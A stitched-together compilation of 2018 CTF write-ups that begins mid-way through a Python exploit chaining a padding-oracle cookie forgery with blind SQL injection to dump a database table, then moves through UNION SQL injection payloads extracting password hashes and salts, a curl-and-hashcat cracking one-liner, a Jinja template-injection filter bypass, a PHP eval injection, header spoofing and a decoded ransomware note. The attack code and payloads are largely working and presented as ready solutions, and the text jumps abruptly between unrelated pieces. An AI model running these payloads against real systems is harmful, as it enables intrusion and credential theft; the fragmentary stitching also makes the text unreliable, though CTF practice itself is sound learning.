# Modify the last byte of the Cn-1 block in order to obtain the padding. Cn_minus_1 = ciphertexts[-2] arbitrary_byte = b'A'
tmp = Cn_minus_1[:-1] + arbitrary_byte ciphertexts[-2] = tmp
# Test the Ciphertext with the modified Cn-1 block. to_test = iv for Cn in ciphertexts: to_test += Cn
print 'Cookie used to display the padding : %s' % base64.b64encode(to_test) result = test_cookie_value(base64.b64encode(to_test), 'DEADBEEF')
# Printing the last plaintext bloc (containing the padding) print 'Pn : %s' % result[-BLOCK_SIZE:-1] Pn = '' for c in result[-BLOCK_SIZE:-1]: Pn += '%s ' % hex(ord(c)) # Last byte of Pn = Cn-1 ^ P'n ^ arbitrary_byte(C'n-1) Pn += hex(ord(Cn_minus_1[-1]) ^ ord(result[-1]) ^ ord(arbitrary_byte))
print ' : %s' % Pn print 'As we can see, the padding is very simple. Indeed, it consists only of spaces (0x20).' sys.stdout.flush()
''' Pn : mwell : 0x6d 0x77 0x65 0x6c 0x6c 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20 0x20
As we can see, the padding is very simple. Indeed, it consists only of space (0x20). '''
def add_padding(string): ''' Take a string and return a custom padding (see padding_discovery()) WARNING : We do not add a padding block when len(string) % BLOCK_SIZE == 0 ''' padding_size = (BLOCK_SIZE - (len(string)%BLOCK_SIZE)) % BLOCK_SIZE
return "%s%s" % (string,PADDING_CHAR*padding_size)
def get_block_int_values(block): ''' Take a ciphered block and return its intermediate values. ''' iv = b'\x00'*BLOCK_SIZE return test_cookie_value(base64.b64encode(iv+block), 'DEADBEEF')
def encrypt_block(Ci, Pi): ''' Take a block (Ci) and the desired plaintext (Pi). Get the intermediate values and return Cn-1. '''
intermediate_values = get_block_int_values(Ci)
result = '' for i in range(BLOCK_SIZE): result += chr(ord(intermediate_values[i]) ^ ord(Pi[i]))
return result
def encrypt_string(string, display): ''' Take a string, add padding and encrypt it. ''' # Add padding padded_string = add_padding(string) nb_blocks = len(padded_string)/BLOCK_SIZE
# Calculate intermediate values for Pn..P0 Ci = 'A'*BLOCK_SIZE encrypted_string = "%s" % Ci for i in range(nb_blocks)[::-1]: Pi = padded_string[i*BLOCK_SIZE:(i+1)*BLOCK_SIZE] Ci = encrypt_block(Ci, Pi) encrypted_string = "%s%s" % (Ci, encrypted_string)
encrypted_string = base64.b64encode(encrypted_string) if display: print 'Plaintext string : %s' % string print 'Encrypted string : %s' % encrypted_string
return encrypted_string
def sqli_dump_string(tag, payload, display): ''' Main function used to exploit the SQLi. ''' global RESULTS
result = ''
dump_string_payload = 'SELECT MID(BIN (ORD (MID((%s) FROM %%s FOR 1))) FROM %%%%s FOR 1)=%%%%s' % payload string_length_payload = '(SELECT CHAR_LENGTH((%s)))=%%s' % payload byte_length_payload = '(SELECT CHAR_LENGTH(BIN (ORD (MID((%s) FROM %%s FOR 1)))))=%%%%s' % payload
string_length = sqli_get_length(string_length_payload, display) if display : print 'String length = %s' % string_length
# For each char of our string for i in range(string_length+1)[1:]: result += sqli_dump_byte(dump_string_payload % i, byte_length_payload % i, display)
print '%s = %s' % (tag, result) sys.stdout.flush() RESULTS[tag] = result
def sqli_dump_byte(dump_string_payload, byte_length_payload, display): ''' Function used to retrieve a byte. ''' # Retrieving the length of the binary value of our byte => CHAR_LENGTH(BIN(...)) byte_length = sqli_get_length(byte_length_payload, display) if display: print 'Byte length = %s' % byte_length
# Retrieving the value of each bit of our byte. result = '' for i in range(byte_length+1)[1:]: if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (dump_string_payload % (i, 1)), display), 'Caribbean pirate') == True: result += '1' else: result += '0'
return chr(int('0b%s' % result, 2))
def sqli_get_length(payload, display): ''' Naive way to get the char length of a string or a byte (depending of the payload). Simple but could be hugely improved (too much requests). ''' for i in range(MAX_CHAR_LENGTH): if test_cookie_value(encrypt_string(SQLI_PAYLOAD % (payload % i), display), 'Caribbean pirate') == True: return i
return None
########################## Multi-threading ##########################
class AttackThread(threading.Thread): def __init__(self): threading.Thread.__init__(self) pass
def run(self): while not queue.empty(): tag,payload,display = queue.get() sqli_dump_string(tag, payload, display)
queue.task_done()
def main(): global TARGET
if len(sys.argv) != 3 and len(sys.argv) != 4: print "Usage : %s <target_ip> <port>" % sys.argv[0] exit(1)
TARGET = "http://%s:%s/" % (sys.argv[1], sys.argv[2])
start_time = time.time() padding_discovery()
print '#'*42
# Discovering the SQLi (boolean based) if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=1', True), 'Caribbean pirate') == True: print True else: print False print '#'*9 if test_cookie_value(encrypt_string(SQLI_PAYLOAD % '1=2', True), 'Caribbean pirate') == True: print True else: print False
print '#'*42 sys.stdout.flush()
# @@version, user(), database() queue.put(('@@version', '@@version', False)) queue.put(('user()', 'user()', False)) queue.put(('database()', 'database()', False))
# Tables queue.put(('tables', 'SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=\'website\'', False))
# Columns (of the table 'profile') queue.put(('columns', 'SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name=\'profiles\' AND table_schema=\'website\'', False))
# Dump of the table 'profile' for column in ['username','class','avatar','flag']: queue.put(('profile_%s' % column, 'SELECT group_concat(%s) FROM profiles' % column, False))
# MT (multithreading) for thr in xrange(0, NB_THREADS): print "Initializing thread %d" % thr sys.stdout.flush() ragnarok = AttackThread() ragnarok.start()
queue.join()
print '#'*42
print 'FLAG = %s' % RESULTS['profile_flag'] sys.stdout.flush()
print '#'*42
print 'Time elapsed : %f' % (time.time()-start_time) print 'Number of requests made : %s' % COUNT sys.stdout.flush()
if __name__=='__main__': main()
``` |
Given a secret.gb file that can be run as a gameboy emulator.Because of the reversing problem, we used the bgb emulator to debug.
Once "Password:" is displayed and the Enter key is pressed, the INCORRECT string is displayed.
To solve the problem, we decided to search for the CORRECT string.This string is located at 0x0744. The instruction to this location is at 0x0721 as follows.
```ROM:0721 jr nz, unk_743```You can see that the function starts at 0x0685 when you follow the function linked to it.```ROM:0685 ld hl, 0C0D1hROM:0688 ld a, (hl)ROM:0689 cp 10hROM:068B jp nc, loc_6C7ROM:068E ld a, 0A0h ; 'ROM:0690 add a, (hl)ROM:0691 ld c, aROM:0692 ld a, 0C0h ; 'ROM:0694 adc a, 0ROM:0696 ld b, aROM:0697 ld a, (bc) //[C0A0:C0AF] 의 memory 참조ROM:0698 ld c, aROM:0699 cp 10h //C0A0 + k 가 0x10인가?ROM:069B jp z, loc_6C0ROM:069E call sub_762 // print “INCORRECT”ROM:06A1 ld hl, 71EhROM:06A4 push hlROM:06A5 call sub_121EROM:06A8 ret peROM:06A9 ld (bc), aROM:06AA ld hl, 7D0hROM:06AD push hlROM:06AE call sub_1585ROM:06B1 ret peROM:06B2 ld (bc), aROM:06B3 call sub_20CROM:06B6 ld hl, 0C0D0hROM:06B9 ld (hl), 0ROM:06BB ld e, 0ROM:06BD jp loc_71B
ROM:06C0 ld hl, 0C0D1hROM:06C3 inc (hl)ROM:06C4 jp loc_685 // k <= 0x10```
The python pseudo code is as follows.
```for I in range(0x10): if [0xc0a0 + I] == 0x10: counter+=1 if counter == 0x10: get_flag()```Now we refer to the memory in the 0xc0a0 part. 
Now I see that every character I type is stored in 0x1, 0x2, 0x4, 0x8, 0x10. For example, if you enter "AAAAAAAAAAAAAAAA", the memory will be 101010101010 ... 10. You can enter a total of 16 characters, and all of these letters can be used to obtain a flag.
In this situation, you can see that c0a0: c0af changes to another number when you breakpoint 0x0685. The numbers you entered are moved to c0b0: c0bf. At this time, I thought of a black box and tried to put all the inputs that could be put into the gameboy.
It will be Up, down, left, and right keys, a, b, select key. Fortunately, there is a one-to-one correspondence between the k-th input and the value of c0a0 + k.
Finally, you can get the flag by putting "04 04 10 40 08 02 02 20 01 08 01 20 01 20 10 20" in the memory of c0a0 - c0af position.
 |
<h1>INS'HACK 2018 Crimemail Writeup</h1><h3>Authored by Chase of Jolly Roger Insecurity</h3>challenge description: Collins Hackle is a notorious bad guy, and you've decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.
Let's see if you can hack your way in his account...
Hint: his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary
challenge description: Collins Hackle is a notorious bad guy, and you've decided to take him down. You need something on him, anything, to send the police his way, and it seems he uses CrimeMail, a very specialized email service, to communicate with his associates.
Let's see if you can hack your way in his account...
Hint: his password's md5 is computed as followed: md5 = md5($password + $salt) and Collins Hackle has a password which can be found in an english dictionary
We arrive at this login page:
We arrive at this login page:
and we realize that we don't even know Collin Hackle's username. This is an indication that SQL injection is likely to be used. We quickly see that there is a forgotten password page. Maybe there's something we can work with in there.Here we have a text field that takes a username and returns a password hint. Let's try a simple line of SQL injection to see if it's vulnerable. Let's try ' or 1=1 -- <em> be sure to include the extra space after the dashes</em>Voila! We got some null data back which is a good sign. Let's start trying to identify other tables in the database. The following query works against a MySQL database, but at this point we don't technically know if it even is MySQL: ' UNION SELECT table_name FROM information_schema.tables;-- So it is in fact MySQL. Buried at the bottom of the output, past all of the 'meta' tables generated by MySQL is one 'user' table. This must contain some important data. Let's try to get the column names with the following: ' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users';-- Great! We know the columns in the users table, now we can start extracting user specific data. The next thing we need is to find Collin's username, and with nothing to go on, we may as well pull out all usernames: ' UNION SELECT username FROM users;-- There it is, 'c.hackle'. Now what about the pass_md5? ' UNION SELECT pass_md5 FROM users WHERE username = 'c.hackle';-- ...and the salt: ' UNION SELECT pass_salt FROM users WHERE username = 'c.hackle';-- We now know quite a bit of information: the username, md5 password hash, and md5 salt. This is enough to start cracking his password. The handy hint from the challenge description lets us know that a standard wordlist of English words would contain the password. Jolly Roger Insecurity team member Eric quickly wrote up this python program to hash words from a wordlist and compare them to the password hash. We found a match on the word 'pizza'! Let's head over to the login page, entering username 'c.hackle' and password 'pizza'...
and we realize that we don't even know Collin Hackle's username. This is an indication that SQL injection is likely to be used. We quickly see that there is a forgotten password page. Maybe there's something we can work with in there.
Here we have a text field that takes a username and returns a password hint. Let's try a simple line of SQL injection to see if it's vulnerable. Let's try ' or 1=1 -- <em> be sure to include the extra space after the dashes</em>
Voila! We got some null data back which is a good sign. Let's start trying to identify other tables in the database. The following query works against a MySQL database, but at this point we don't technically know if it even is MySQL: ' UNION SELECT table_name FROM information_schema.tables;--
So it is in fact MySQL. Buried at the bottom of the output, past all of the 'meta' tables generated by MySQL is one 'user' table. This must contain some important data. Let's try to get the column names with the following: ' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users';--
Great! We know the columns in the users table, now we can start extracting user specific data. The next thing we need is to find Collin's username, and with nothing to go on, we may as well pull out all usernames: ' UNION SELECT username FROM users;--
There it is, 'c.hackle'. Now what about the pass_md5? ' UNION SELECT pass_md5 FROM users WHERE username = 'c.hackle';--
...and the salt: ' UNION SELECT pass_salt FROM users WHERE username = 'c.hackle';--
We now know quite a bit of information: the username, md5 password hash, and md5 salt. This is enough to start cracking his password. The handy hint from the challenge description lets us know that a standard wordlist of English words would contain the password. Jolly Roger Insecurity team member Eric quickly wrote up this python program to hash words from a wordlist and compare them to the password hash.
We found a match on the word 'pizza'! Let's head over to the login page, entering username 'c.hackle' and password 'pizza'... |
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<title>ctf-writeups/2018/swampctf/Dungeon_Crawl at master · phieulang1993/ctf-writeups · GitHub</title>
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# Crypt0r part 1, Crypto, 20pts
## Problem
Our IDS detected an abnormal behavior from one of our user. We extracted this pcap, could you have a look at it?
attachement: ids_alert_24032018.pcap
## Solution
When I've downloaded an attachement (_pcap_ file) and opened it in Wireshark, it was a record of very short network transmission dump with only a few of packets:
I've spotted some kind of ciphered message and using _Follow TCP Stream_ option in Wireshark, I've extracted the content of this TCP session:
It was obvious that some kind of [substitution cipher](https://en.wikipedia.org/wiki/Substitution_cipher) was used here, as I almost immediately spotted ```JCTP{...}``` string looked exactly how the flag format for all the INS'HACK CTF challenges (only ciphered tho).
Starting from those four characters:
```JCTP -> INSA```
I quickly realized that ```CRYPT0R:PMSFADNIJKBXQCGYWETOVHRULZSELYO0E_PSB``` string in the ciphered message contains a key to decipher the whole message.
The only problem was to figure out the whole ciphered/plaintext relation. Based on revealed I, N, S and A and knowing their positions, I found that the beginning was actually an English alphabet:
```PMSFADNIJKBXQCGYWETOVHRULZSELYO0E_PSBABCDEFGHIJKLMNOPQRSTUVWXYZ```
To confirm this, I've coded simple Python script to perform some basic deciphering and, when I've run it, an actual header was perfectly readable, as well as all uppercase characters in the message:```
NWPAS0W_CRRF:58NWPAS0W:ABCDEFGHIJKLMNOPQRSTUVWXYZCRYPT0R_ACKCRYPT0R:ALL_GOODCRYPT0R:GET_VICTIM_ID>{E2DC3118-0399-48C7-857C-43F9528FF98D}CRYPT0R:VICTIM_ID_IS>....CRYPT0R:GET_FINAL_MSGCRYPT0R:FINAL_MSG_IS>!!! ALL YOUR FILES HAVE BEEN ENCRYPTED !!!
Celyo0e toegba mpsb pcf lgv ngo dvsb*f mvffl. Ygv spccgo faselyo lgve fpop ausayo jd lgv ypl qa $500. #SHOWMETHEMONEY pcf I rjxx njha lgv mpsb lgve fpop.
Fgxxgr oiata jctoevsojgct:- Ictopxx oia oge megrtae, pcf ng og gve yplqaco yxpodgeq: iooy://bu4ifi2zg5etosvk.gcjgc (PCI-DSS pyyeghaf gds meg).- Ecoae lgve yaetgcpx bal: INSA{mQ9NYUlAjpXtbZDdccAioUU01jdaXeOv}
Tipcbt dge vtjcn ql epctgqrpea.
Wjoi xgha,Celyo0qpc```
Knowing this, I've started to decipher lowercased words, just by guessing their meaning based on number of characters, position, expected meaning of the phrase and so on.
Using ```maketrans``` Python library, decipher such kind of ciphered message is pretty simple (I've just rerun it every time I wanted to find out if I actually guessed next substituted character correctly). After each run, next guess was much simpler due to readable parts of words revealed across the message.
And this is how the final script looks like:
```python#!/usr/bin/pythonfrom string import maketrans
c = "PMSFADNIJKBXQCGYWETOVHRULZioylgvjelyo0epqafhanjbctxmsudr"p = "ABCDEFGHIJKLMNOPQRSTUVWXYZhtpfouirypt0ramedvegiknslbcxfw"
cross = maketrans(c,p)
inp = """CRYPT0R_SEED:58CRYPT0R:PMSFADNIJKBXQCGYWETOVHRULZSELYO0E_PSBSELYO0E:PXX_NGGFSELYO0E:NAO_HJSOJQ_JF>{A2FS3118-0399-48S7-857S-43D9528DD98F}SELYO0E:HJSOJQ_JF_JT>....SELYO0E:NAO_DJCPX_QTNSELYO0E:DJCPX_QTN_JT>!!! PXX LGVE DJXAT IPHA MAAC ACSELYOAF !!!
Selyo0e toegba mpsb pcf lgv ngo dvsb*f mvffl. Lgv spccgo faselyo lgve fpop ausayo jd lgv ypl qa $500. #TIGRQAOIAQGCAL pcf J rjxx njha lgv mpsb lgve fpop.
Dgxxgr oiata jctoevsojgct:- Jctopxx oia oge megrtae, pcf ng og gve yplqaco yxpodgeq: iooy://bu4ifi2zg5etosvk.gcjgc (YSJ-FTT pyyeghaf gds meg).- Acoae lgve yaetgcpx bal: JCTP{mW9CLVlPjpUtbZFdccPioVV01jdaUeGv}
Oipcbt dge vtjcn ql epctgqrpea.
Rjoi xgha,Selyo0qpc"""print inp.translate(cross)```
When I've run it for the last time, the result was:
```NWPAS0W_CRRF:58NWPAS0W:ABCDEFGHIJKLMNOPQRSTUVWXYZCRYPT0R_ACKCRYPT0R:ALL_GOODCRYPT0R:GET_VICTIM_ID>{E2DC3118-0399-48C7-857C-43F9528FF98D}CRYPT0R:VICTIM_ID_IS>....CRYPT0R:GET_FINAL_MSGCRYPT0R:FINAL_MSG_IS>!!! ALL YOUR FILES HAVE BEEN ENCRYPTED !!!
Crypt0r stroke back and you got fuck*d buddy. You cannot decrypt your data except if you pay me $500. #SHOWMETHEMONEY and I will give you back your data.
Follow these instructions:- Install the tor browser, and go to our payment platform: http://kx4hdh2zo5rstcuk.onion (PCI-DSS approved ofc bro).- Enter your personal key: INSA{bQ9NYUyAiaXskZDfnnAhtUU01ifeXrOu}
Thanks for using my ransomware.
With love,Crypt0man```
The last thing left to do was to send the flag and gain some points for another solved challenge:
**INSA{bQ9NYUyAiaXskZDfnnAhtUU01ifeXrOu}**
|
The first part was asking us to use Visual Hashing chrome extention.
Looking into the source AppData\Local\Google\Chrome\User Data\Default\Extensions\lkoelcpcjjehbjcchcbddggjmphfaiie\1.0.1_0 we understand how the colors are generated :
visualhash.js```function updateVisualHash(elem) { if (elem.value == '' || elem != document.activeElement) { restoreBackgroundColor(elem); return; } var passwordHash = SHA1(elem.value); var elemWidth = Math.max(elem.clientWidth,elem.offsetWidth); var elemHeight = Math.max(elem.clientHeight,elem.offsetHeight); elem.style['backgroundImage'] = 'url(' + getDataURLForHash(passwordHash,elemWidth,elemHeight) + ')'; }```utils.js```function getDataURLForHash(passwordHash,inputWidth,inputHeight) { var win = window; try { win = unsafeWindow; } catch(e) {} var canvas = win.document.createElement('canvas'); canvas.height = inputHeight; canvas.width = inputWidth; var context = canvas.getContext('2d'); passwordHash = randomizeHash(passwordHash); /* This is where the 4 colors are calculated */ for (var hashBandX = 0; hashBandX < 4; hashBandX++) { context.fillStyle='#' + passwordHash.substr(hashBandX*6,6); context.fillRect(hashBandX/4*inputWidth,0,inputWidth/4,inputHeight); context.fillStyle='#000000'; context.fillRect(((hashBandX+1)/4*inputWidth)-1,0,2,inputHeight); }
context.strokeStyle='#000000'; context.strokeRect(0,0,inputWidth,inputHeight);
return canvas.toDataURL();}```From the available image, we know len(flag) = 11 so we can brute force on "INSA{"+alpha(5)+"}"I used Paint.net to get the 4 colors rgb bytes. There's a piece of randomness to the implementation (randomizeHash(passwordHash) = +/- 9 per color) so any "best" number between 0 and 36 should be fine.
solution.py```import hashlibimport itertools
choices="azertyuiopqsdfghjklmwxcvbn0123456789_"
color=[]color.append([29,156,13])color.append([181,88,85])color.append([188,100,120])color.append([160,71,220])
print(color)best=NonebestColorDiff=999;for password in itertools.product(choices, repeat=5): a = hashlib.sha1(("INSA{"+''.join(password)+"}").encode('utf-8')).hexdigest() max=0 for i in range(4): cur=a[i*6:i*6+6] val=abs(int(cur[0:2],16)-color[i][0])+abs(int(cur[2:4],16)-color[i][1])+abs(int(cur[4:6],16)-color[i][2]) if val > max: max=val if max < bestColorDiff: best=("INSA{"+''.join(password)+"}") bestColorDiff=max print("New best : "+str(bestColorDiff)+" > "+best)```python solution.py (started with letter h afterwards)```New best : 366 > INSA{hhhhh}New best : 295 > INSA{hhhha}New best : 251 > INSA{hhhhz}New best : 243 > INSA{hhhh4}New best : 221 > INSA{hhha6}New best : 212 > INSA{hhhz1}New best : 209 > INSA{hhhec}New best : 203 > INSA{hhhrf}New best : 199 > INSA{hhhrg}New best : 158 > INSA{hhhr5}New best : 156 > INSA{hhhr8}New best : 147 > INSA{hhaiw}New best : 122 > INSA{hhamt}New best : 116 > INSA{hhjvs}New best : 108 > INSA{hhvgo}New best : 103 > INSA{hh3uz}New best : 100 > INSA{haenl}New best : 91 > INSA{halvn}New best : 85 > INSA{heqvb}New best : 81 > INSA{hqu65}New best : 25 > INSA{hctib}```INSA{hctib} it is ! |
Pretty simple ROP challenge. Can either put together a simple ROP chain, or, to do the solution implied by the challenge name, use a magic gadget (sometimes called bespoke gadgets).
Used one_gadget to find a magic gadget, then calculated it's offset based on the system address that was leaked. |
By looking into the website and parameter we can think it could be some injection.My first thought was to try SSTI(Server side template injection) http://web.euristica.in/hard_to_hack/index?data={{7\*7}} Server returned 49 !! Also,as {{'7'\*7}} works, we can conclude it is Jinja template.
So, I tried injecting payload to read /etc/passwd and check if it works. **payload**: `{{ ''.class.mro[2].subclasses()[40]('/etc/passwd').read() }}` - FAILS
After trying different characters , i figured out **class,mro,subclasses,_** were all **blacklisted**.
To bypass this, I came up with the following payload:
**Final Working Payload** `{{(((((request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)))|attr(request.args.m|format(request.args.a,request.args.a,request.args.a,request.args.a)))[8])|attr(request.args.k|format(request.args.a,request.args.a,request.args.a,request.args.a))())[40])(%27flag%27).read()}}&f=%s%sclass%s%s&a=_&m=%s%smro%s%s&k=%s%ssubclasses%s%s`.
**Now make a request to read the flag**
`http://web.euristica.in/hard_to_hack/index?data={{(((((request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)))|attr(request.args.m|format(request.args.a,request.args.a,request.args.a,request.args.a)))[8])|attr(request.args.k|format(request.args.a,request.args.a,request.args.a,request.args.a))())[40])(%27flag%27).read()}}&f=%s%sclass%s%s&a=_&m=%s%smro%s%s&k=%s%ssubclasses%s%s`
**FLAG**: `flag{BlackListing_N3Ver_H3lp3d_An40ne}` |
Opening the PNG file we see at the top left of the letter I a group of pixels in black an white. Understanding them as “black=1” and “white=0” we obtain:
00110001001 10010001100 11001101000 01101010011 01100011011 10011100000
Concatenating them and deleting the last 2 zeros, we obtain “0011000100110010001100110011010000110101001101100011011100111000” what converted to ASCII becomes “12345678”, so the flag is: INSA{1234578}
By: fikih888 |
SunshineCTF - Evaluation-------------------------**Category:** Web
**Points:** 50
##### Description:```Evaluate your life.How are you doing, and are you doing the best you can possibly do?Look deeper within yourself, beyond the obvious.Look at the source of it all.
Also, here's a PHP challenge.
http://evaluation.web1.sunshinectf.org
Author: hackucf_levi```Upon visiting the site we're prompted with the following code:```
```From the following code we can assume that the flag is stored in ``flag.php``, also we know its supressing errors by adding the ``@`` symbol infront of ``$_REQUEST['hello'];``, regardless we know we know our attack vector is the parameter ``hello`` and that it's passed inside the ``eval()`` function without being parsed or formatted which is a big red flag.
After sending a GET request with ``?hello=$flag`` we get the response ``string(4) "Nope"``so we can assume that the flag isn't stored in the variable but inside the file.
After this I copied the code locally so I could easier debug it (with error reporting so I could break out of the ``var_dump``. After some tweaking I managed to use the ``show_source`` function to reveal the flag using the payload ``$flag); show_source('flag.php'`` revealing the source code and the flag:```
``` |
# My Secret Stash>Do you like secrets? I like secrets! In fact, I LOVE SECRETS! But there's no way I'll ever share my secrets with you! Not in a million years! I don't share secrets with anyone! Okay, I might share one secret with you, but I've stashed it away somewhere you'll never think to find it!If you can dig up my secert stash I'll let you have it! How about that huh? Does that sound like a fun game?>>See if you can dig up my secret stash!hahahahahahahahahahahaha!!!!!!!!!!!!!!!!!!!!!!!!!!!!>>Author: hackucf_charlos>> file: secret-stuff.tar.gz
The archive contains the following structure: ``` terminal$ tree -a -L 1 my-secret-stash-repo/my-secret-stash-repo/├── .git└── secrets```
Ok so it has a git repository, let's look at the log:``` terminal$ git logcommit 14a5c7088e7638abb2232c8cac1c7dd4687819f0Merge: 7e29273 7b82ac0Author: Carlos Staszeski <[email protected]>Date: Thu Mar 15 20:31:39 2018 -0400
WIP on master: 7e29273 vegan!
commit 7b82ac03c49c0b55a4a8b8ffb3c04c5fe565fba6Author: Carlos Staszeski <[email protected]>Date: Thu Mar 15 20:31:39 2018 -0400
index on master: 7e29273 vegan!
commit 7e2927361b7e4101e07fc5a475bb244622a275e3Author: Carlos Staszeski <[email protected]>Date: Thu Mar 15 20:29:53 2018 -0400
vegan!```
So there are some commits``` terminal$ cat secretsI'm so very sorry, you will not find my secrets in here. There was a time at which I wanted to share my secrets with someone, but that was long ago and I don't trust anyone anymore. I want to keep all of my secrets to myself for now on! Good luck trying to find them, there's nothing to find. hehehehehehehehe!!!!!!
$ git checkout 92fb7e7ebbc65d04ac311c3f1d4e496cd867e94d
$ cat secretsI feel like we are becoming good friends you and I. Yes. I even considered letting you in on one of my secrets just now, but I didn't want to risk it falling into the wrong hands. So instead I stashed it away and destroyed it so that no one would ever be able to recover my secrets! muahahahahahah!!!!!!
$ git checkout 7e2927361b7e4101e07fc5a475bb244622a275e3
$ cat secretsSo, you've discovered how to travel back in time did you? Well that's not going to help you much here, you see, my stash is so well hidden you will never ever ever find it! hahahahahahahahhahahahahahahahahahahah!!!!!!!!!!!!!```
Ok, so the flag is hidden somewhere else in the repository. After looking for branches (there were none) and some other places, I ran `git fsck`.
``` terminal$ git fsckChecking object directories: 100% (256/256), done.dangling commit 14a5c7088e7638abb2232c8cac1c7dd4687819f0
$ git checkout 14a5c7088e7638abb2232c8cac1c7dd4687819f0
$ cat secretssun{git_gud_k1d}```
Alright, there we have `sun{git_gud_k1d}`. The flag was hidden in a dangling commit! |
# BaseX, 300p, exploit
> BaseX stores datas from stdin into a buffer.
The binary was allowing us to write arbitrary data to arbitrary offset fromstack (simple buffer overflow). A complication was that we had no echo, whichmade debugging the exploit harder. In the end, we ROP-ped to gadgets, overwriting`fread` GOT entry to `system`'s, then jumped there with crafted command string. |
When I saw this challenge , it seems to me like sqli in the login form . But I tried to look into the source code of the page then I notice a url to a youtube video , so I open it and watch the video but something weird was there the video started playing from the 3rd second So I restarted it from the first second and there was a character name and a dragon name witche are ***BILBO*** and ***SMAUG*** sequentially .then I take the username { DUNGEON_MASTER } and password { baggins } which is the last name of the character BILBO in Burp Suite and looked like this .
And that was a good idea , They match :) The input hash was a sha256 hash of the valied user and pass , so I tried to decrybt it and gave me { smaug123 } which is the password. At the end I went to the login form and used these information ( DUNGEON_MASTER.smaug123 ) ,to login and got the flag ;)
flag{somewhere_over_the_rainbow_tables} .
Team : ***%00Byte*** |
SunshineCTF - Marceau-------------------------**Category:** Web
**Points:** 100
##### Description:```Hey my friend tells me that the flag is in this site's source code. Idk how to read that though, lol (🅱ï¸retty lame tbh 😂)
http://marceau.web1.sunshinectf.org
Author: charlton
Hint 2018-04-06 00:20 UTC: There are many different types of MIMEs, but only a handful were truly legendary...
```Upon visiting the site we're prompted with the following text:```You specifically want my PHP source. Why did you accept anything else?```They give us two pretty big hints in this text, them being **PHP** and **accept**, from here I assumed we had to manipulate the ``Accept`` header in the request, and it worked! By changing our header to ``Accept: text/php,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8`` it revealed the PHP code along with the flag:```<h3>You specifically want my PHP source. Why did you accept anything else?</h3></marquee>";else show_source(__FILE__);?>``` |
# Data ExfilWe're given a ZIP archive which contains various log files and a packet capture. I only used the PCAP for this challenge, so I cannot tell if the log files are of any help. First we try the usual stuff when dealing with a packet capture: Following TCP and HTTP streams, trying to export transmitted objects via File -> Export Objects. However, these steps do not lead to anything useful here.
When we look at the different protocols, we discover, that the host ```192.168.198.128``` uses two different Servers for DNS: ```8.8.8.8``` (Google) and ```54.175.216.124```. While the responses from the first DNS server look legit (what could go wrong with Google?), those of the second server have weird subdomains in the URLs. We filter these responses in Wireshark with ```ip.src == 54.175.216.124``` and order the result ascending based on packet number.
Then we copy two or three packets (e.g. 180, 182 and 184) as printable text and throw the subdomains into a hex decoder. Below you can see the three subdomains:
```504b030414000000000030be774c973a10791e0000001e0000000a0000007365637265742e74787473756e7b7730775f495f646e735f7333335f7930755f316e5f683372337d504b0102140014000000000030be774c973a1079```
and their decoded pendants which contain the flag:
```PK........0¾wL.:.y...........secret.txtsun{w0w_I_dns_s33_y0u_1n_h3r3}PK..........0¾wL.```
## sun{w0w_I_dns_s33_y0u_1n_h3r3} |
```bashcurl -s --data-urlencode "username=username=data' union select group_concat(concat(username,0x20,pass_salt,0x20,pass_md5)) from users-- " -X POST https://crimemail.ctf.insecurity-insa.fr/hint.php | grep -Eo "c\.hackle.*d" > hash; ./hashcat -a 0 -m 10 `awk '{print $3 ":" $2}' hash` rockyou.txt``` |
SunshineCTF - Home Sweet Home-------------------------**Category:** Web
**Points:** 150
##### Description:```Looks like this site is doing some IP filtering.That's very FORWARD thinking of them.
Have fun!
http://web1.sunshinectf.org:50005
Author: hackucf_levi```Upon visiting the site we're prompted with the following text:```14.212.11.223This IP address is not authorized```From this we can see that they site has indeed put restrictions based on a user's IP, and the description gives us a big hint by saying **FORWARD**, from here I assumed that they were using X-Forwarded-For to filtering IPs, so I added ``X-Forwarded-For: 127.0.0.1`` to my header and sent the request again and bingo we get the flag!```127.0.0.1Here's your flag: sun{Th3rEs_n0_pl4cE_l1kE_127.0.0.1}``` |
Phishy======
We're given a ZIP archive which the problem description hints quitestrongly is a Paint 3D project. Strangely, Paint 3D doesn't actuallyprovide a way for you to export and import projects to disk -- itrequires you to use some online service to share them to otherpeople.
So the first step is to figure out how to import these files. Theproblem description also gives a hint at where projects are saved.We can create a couple of new projects in Paint 3D to get a feel forhow things are supposed to be. We quickly find there's a separatefolder for each project, with a top level projects.json listing eachone. We drop the phishy folder in and add an entry to projects.json.
Success! We can see the phishy project in our project list now. Butnot so fast... we get an error if we try to open it. So now we haveto start diving in to what all these different files do.
The best way to find out what's what is to make modifications to anormal Paint 3D project, then investigate what happens to the files.Check if files are removed/deleted, take md5sums to see if fileschanged, etc. For the most part the rest of this challenge is justtrying random stuff until we happen upon what we need. We can alsowatch it in procmon to investigate in broad terms how it accessesfiles.
We discover the following:
1. When loading a project it just reads in the whole directory. Itdoesn't load files one at a time based on the contents of otherfiles.
1. Each 3d object gets a number of Nodes_nnnnn_xxxx.bin files:AxisAlignmentProvider, Canvas3d, MeshInstance, NodeBounds,NodeParent, NodePRS, PhysicsComponent, SurfaceAlignmentProvider.
1. Every shape's AxisAlignmentProvider seems to be the same.
1. Moving / resizing objects mostly just affects the NodePRS.binfile. Changing it in just one dimension helps to narrow down whatpart is x axis, y axis, z axis, etc.
1. Canvas3D.bin contains a 64-bit field that corresponds to aResources_Heirarchies_nnn.bin, a 64-bit field that corresponds toa Resources_SurfaceNormals_nnn.bin, and 2 64-bit fields that eachcorrespond to a Resources_Surfaces_nnn.bin.
1. Resources_Mesh_nnn.bin matches the number of the variousNodes_nnn_xxx.bin files and also contains a 64-bit field internallywith that number. Nodes_nnn_MeshInstance.bin also contains thatnumber in its data.
